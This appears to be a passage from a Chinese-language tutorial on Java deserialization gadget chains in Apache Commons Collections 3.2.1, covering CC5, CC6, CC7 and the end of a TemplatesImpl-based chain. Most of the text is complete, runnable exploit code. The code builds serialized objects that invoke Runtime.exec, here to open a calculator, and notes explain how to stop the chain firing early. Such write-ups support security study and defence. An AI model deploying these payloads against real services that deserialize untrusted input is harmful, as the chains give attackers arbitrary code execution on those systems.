byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer());
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformersField = c.getDeclaredField("transformer");
transformersField.setAccessible(true);
transformersField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}CC5
是 CC1/CC6 LazyMap get 方法的另一条链子
环境
- Commons Collections 3.2.1
- Java 8u71
分析
正向分析,入口类为 BadAttributeValueExpException:

有 toString 方法的类太多了,所以正向分析,查看 TiedMapEntry 的 toString 方法:

查看同类的 getValue 方法:

后面接上 LazyMap get 即可。
利用

TiedMapEntry 有 public 构造函数,直接传入 LazyMap

BadAttributeValueExpException 构造函数为 public,new 完之后反射修改 val 即可
EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = badAttributeValueExpException.getClass();
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}CC6
环境
- Commons Collections 3.2.1
- Java 8u71
分析链条
从 LazyMap 开始,LazyMap 到 InvokerTransformer 和 CC1 是一样的,寻找其他调用 get 方法的地方
TiedMapEntry 类的 getValue 方法调用了 LazyMap 的 get 方法:
TiedMapEntry 把 Map 里的一个 key-value 对 包装成一个 Map.Entry 对象,并且这个 Entry 始终和原 Map 绑定 若
Map.Entry entry = new TiedMapEntry(map, "a");,则:entry.key = "a"entry.value = map.get("a")

TiedMapEntry 类的构造函数:

继续寻找,找到同类下的 hashCode 方法调用了 getValue 方法:
因为 getValue 这一个方法是相当相当常见的,所以一般会优先找同一类下是否存在调用情况

构造到 hashCode 方法后,利用链一般都是这一条:
xxx.readObject() -> HashMap.put() -> HashMap.hash() -> 后续利用链.hashCode()

这里 HashMap 类就是一个很好的入口类
构造初步 EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}但是这个 EXP 在序列化阶段就会调出计算器,因为构造时 expMap.put(tiedMapEntry, "value"); 触发了链条
解决在序列化时构造链被触发
可以先在构造 LazyMap 时 factory 参数传入一个无用的东西,等 put 完毕后用反射改回构造好的 ChainedTransformer(factory 作用域为 protected)
EXP 改成这样:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Answer {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
HashMap<Object,Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
map2.put(tiedMapEntry,"bbb");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}但运行时调不出计算器
因为 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa") 时把 aaa key 和 lazymap 绑定,在 map2.put(tiedMapEntry,"bbb") 依然会触发调用链,一直调用到 lazymap.get("aaa")(return map.get(key);)
而 get 的逻辑为:

当找不到 key 时,会调用 factory.transform 并且将 (key, value) 加到 map 里。所以 put 触发调用链后 lazymap 内会被添加 aaa key,在反序列化时就不会进入 if 内,所以需要把添加的 key 删除
EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Answer {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); // factory 先传无关内容
HashMap<Object,Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa"); // 删除加入的 key
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer); // factory 改回来
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}CC7
也是 LazyMap get 的另一条链子
环境
- Commons Collections 3.2.1
- Java 8u71
分析
入口类为 Hashtable:

反序列化时对于每一个键值对调用 reconstitutionPut 方法:

LazyMap 的父类为 AbstractMapDecorator,本质也是一个修饰器。在链条后半部分的实现中 LazyMap 修饰的是 HashMap,HashMap 的父类为 AbstractMap,AbstractMap 的 equals 方法实现如下(HashMap 没有 override equals 方法实现):

发现调用了 equals 方法传入对象的 get 方法
利用
首先注意 reconstitutionPut 内的条件:

equal 在 for 循环内且被可能被前面的 e.hash == hash 条件短路
观察,Hashtable 反序列化逻辑为对每一个键值对调用 reconstitutionPut,reconstitutionPut 内逻辑为 check hash 冲突并将键值对和 hash 加入 tab 链表
所以利用需要 Hashtable 有两个键值对且 hash 冲突,构造数据如下:
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);LazyMap.hashCode() 父类 -> AbstractMapDecorator.hashCode() 修饰 -> HashMap.hashCode() 父类 -> AbstractMap.hashCode()
AbstractMap.hashCode 的逻辑为所有键值对 hash 之和,而刚好 ("yy", 1) 和 ("zZ", 1) 的 hash 一样
接下来和 CC6 一样的问题,put 时会触发链条,创建 ChainedTransformer 对象时先占位再反射修改:
ChainedTransformer chainedTransformer = new ChainedTransformer(null);
...
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);还有一个和 CC6 一样的问题,第二个 decorateMap2 的 put 触发整个链条时 LazyMap 会懒添加 yy key,不删除则反序列化时 if 不过:
decorateMap2.remove("yy");EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(null);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}